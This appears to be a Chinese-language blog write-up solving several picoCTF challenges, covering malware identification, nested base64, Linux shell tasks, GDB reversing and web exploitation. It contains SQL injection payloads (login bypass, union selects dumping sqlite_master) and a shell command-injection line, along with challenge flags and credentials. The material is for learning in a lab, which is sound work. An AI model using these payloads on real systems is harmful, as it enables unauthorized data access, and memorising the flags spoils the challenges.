AUTHOR: JUNI19

Description
Flag format: picoCTF{Malwarename}
The first letter of the malware name should be capitalized and the rest 
lowercase.
Your friend just got hacked and has been asked to pay some bitcoins to 
1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX. He doesn’t seem to understand what is 
going on and asks you for advice. Can you identify what malware he’s 
being a victim of?

Google 1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX

找到CNBC的新聞

picoCTF{Petya}

水爛

repetitions

AUTHOR: THEONESTE BYAGUTANGAZA

Description
Can you make sense of this file?
Download the file here.

下載enc_flag

1
2
3
4
5
VmpGU1EyRXlUWGxTYmxKVVYwZFNWbGxyV21GV1JteDBUbFpPYWxKdFVsaFpWVlUxWVZaS1ZWWnVh
RmRXZWtab1dWWmtSMk5yTlZWWApiVVpUVm10d1VWZFdVa2RpYlZaWFZtNVdVZ3BpU0VKeldWUkNk
MlZXVlhoWGJYQk9VbFJXU0ZkcVRuTldaM0JZVWpGS2VWWkdaSGRXCk1sWnpWV3hhVm1KRk5XOVVW
VkpEVGxaYVdFMVhSbFZhTTBKWVZGWmFXbVZzV2tkWk0yaFRDbUpXV25sVVZtaFRWMGRHZEdWRlZs
aGkKYlRrelZERldUMkpzUWxWTlJYTkxDZz09Cg==

==經典base64

decode後

1
2
3
4
VjFSQ2EyTXlSblJUV0dSVllrWmFWRmx0TlZOalJtUlhZVVU1YVZKVVZuaFdWekZoWVZkR2NrNVVX
bUZTVmtwUVdWUkdibVZXVm5WUgpiSEJzWVRCd2VWVXhXbXBOUlRWSFdqTnNWZ3BYUjFKeVZGZHdW
MlZzVWxaVmJFNW9UVVJDTlZaWE1XRlVaM0JYVFZaWmVsWkdZM2hTCmJWWnlUVmhTV0dGdGVFVlhi
bTkzVDFWT2JsQlVNRXNLCg==

再decode

1
2
3
V1RCa2MyRnRTWGRVYkZaVFltNVNjRmRXYUU5aVJUVnhWVzFhYVdGck5UWmFSVkpQWVRGbmVWVnVR
bHBsYTBweVUxWmpNRTVHWjNsVgpXR1JyVFdwV2VsUlZVbE5oTURCNVZXMWFUZ3BXTVZZelZGY3hS
bVZyTVhSWGFteEVXbm93T1VOblBUMEsK

de

1
2
WTBkc2FtSXdUbFZTYm5ScFdWaE9iRTVxVW1aaWFrNTZaRVJPYTFneVVuQlpla0pyU1ZjME5GZ3lV
WGRrTWpWelRVUlNhMDB5VW1aTgpWMVYzVFcxRmVrMXRXamxEWnowOUNnPT0K

deeee

1
2
Y0dsamIwTlVSbnRpWVhObE5qUmZiak56ZEROa1gyUnBZekJrSVc0NFgyUXdkMjVzTURSa00yUmZN
V1V3TW1Fek1tWjlDZz09Cg==

eeeeeeee

1
cGljb0NURntiYXNlNjRfbjNzdDNkX2RpYzBkIW44X2Qwd25sMDRkM2RfMWUwMmEzMmZ9Cg==

aaaaaaaaaa

1
picoCTF{base64_n3st3d_dic0d!n8_d0wnl04d3d_1e02a32f}

picoCTF{base64_n3st3d_dic0d!n8_d0wnl04d3d_1e02a32f}

Permissions

AUTHOR: GEOFFREY NJOGU

Description
Can you read files in the root file?
The system admin has provisioned an account for you on the main server:
ssh -p 53849 [email protected]
Password: x+T6aPgE4-
Can you login and read the root file?    

picoCTF{uS1ng_v1m_3dit0r_f6ad392b}

水爛

chrono

AUTHOR: MUBARAK MIKAIL

Description
How to automate tasks to run at intervals on linux servers?
Use ssh to connect to this server:
Server: saturn.picoctf.net
Port: 50602
Username: picoplayer 
Password: tPmsUpiHeZ

picoCTF{Sch3DUL7NG_T45K3_L1NUX_0bb95b71}

?

useless

AUTHOR: LOIC SHEMA

Description
There's an interesting script in the user's home directory
Additional details will be available after launching your challenge instance.

picoCTF{us3l3ss_ch4ll3ng3_3xpl0it3d_6173}

Special

AUTHOR: LT 'SYREAL' JONES

Description
Don't power users get tired of making spelling mistakes in the shell? Not
anymore! Enter Special, the Spell Checked Interface for Affecting Linux.
Now, every word is properly spelled and capitalized... automatically and 
behind-the-scenes! Be the first to test Special in beta, and feel free to
tell us all about how Special streamlines every development process that
you face. When your co-workers see your amazing shell interface, just
tell them: That's Special (TM)
Start your instance to see connection details.
Additional details will be available after launching your challenge
instance.

這題會一直把輸入的指令變成很簡單的單字,然後把開頭用成大寫
ls會變Is
cat會變Cat,但如果不是第一個字母就不會變大寫,所以可以用cat指令
; 搭配Regex Command Injection

1
cat;cat *


發現目錄下面有一個資料夾blargh

1
cat;cat blargh/*

picoCTF{5p311ch3ck_15_7h3_w0r57_f578af59}

Reverse Engineering

Reverse

AUTHOR: MUBARAK MIKAIL

Description
Try reversing this file? Can ya?
I forgot the password to this file. Please find it for me?

題目給了一個檔案ret,執行後要輸密碼

丟GDB

1
2
3
4
start 
c
ctrl^C
ni到死


在呼叫strcmp比對密碼時把rsi dump出來,得到前半截flag

picoCTF{3lf_r3v3r5ing_succe55ful_9ae8528

重新執行ret,輸入密碼

picoCTF{3lf_r3v3r5ing_succe55ful_9ae85289}

Web Exploitation

More SQLi

AUTHOR: MUBARAK MIKAIL

Description
Can you find the flag on this website.
Additional details will be available after launching your challenge instance.

Bypass login

進入網頁,經典登入介面

1
2
username=admin&
password=' or 'a'='a


題目很貼心把query都print出來給你

調整一下

1
2
username=123&
password=' or 1=1;--

進入之後有一個搜尋頁面

測試有幾個欄位

1
searchInput=' union select 1,2,3;--

dump Table

1
searchInput=' or 'a'='a


沒看到flag,可能在別的table

1
' union select group_concat(sql),2,3 from sqlite_master WHERE type='table';--

現在知道flag應該在more_tableflag_TEXT欄位

1
' union select flag,2,3 from more_table;--

picoCTF{G3tting_5QL_1nJ3c7I0N_l1k3_y0u_sh0ulD_3b0fca37}

MatchTheRegex

AUTHOR: SUNDAY JACOB NWANYIM

Description
How about trying to match a regular expression
Additional details will be available after launching your challenge instance.

一開始沒看hint不知道到底要幹嘛

結果是要match^p.....F!?

picoCTF{succ3ssfully_matchtheregex_9080e406}

世紀水題

findme

AUTHOR: GEOFFREY NJOGU

Description
Help us test the form by submiting the username as test and password as test!
Additional details will be available after launching your challenge instance.

先用test test!登入

進去後他說I was redirected here by a friend of mine but i couldnt find anything. Help me search for flags :-)

BurpSuite查看被redirected的頁面


id看起來很像經典base64


picoCTF{proxies_all_the_way_be716d8e}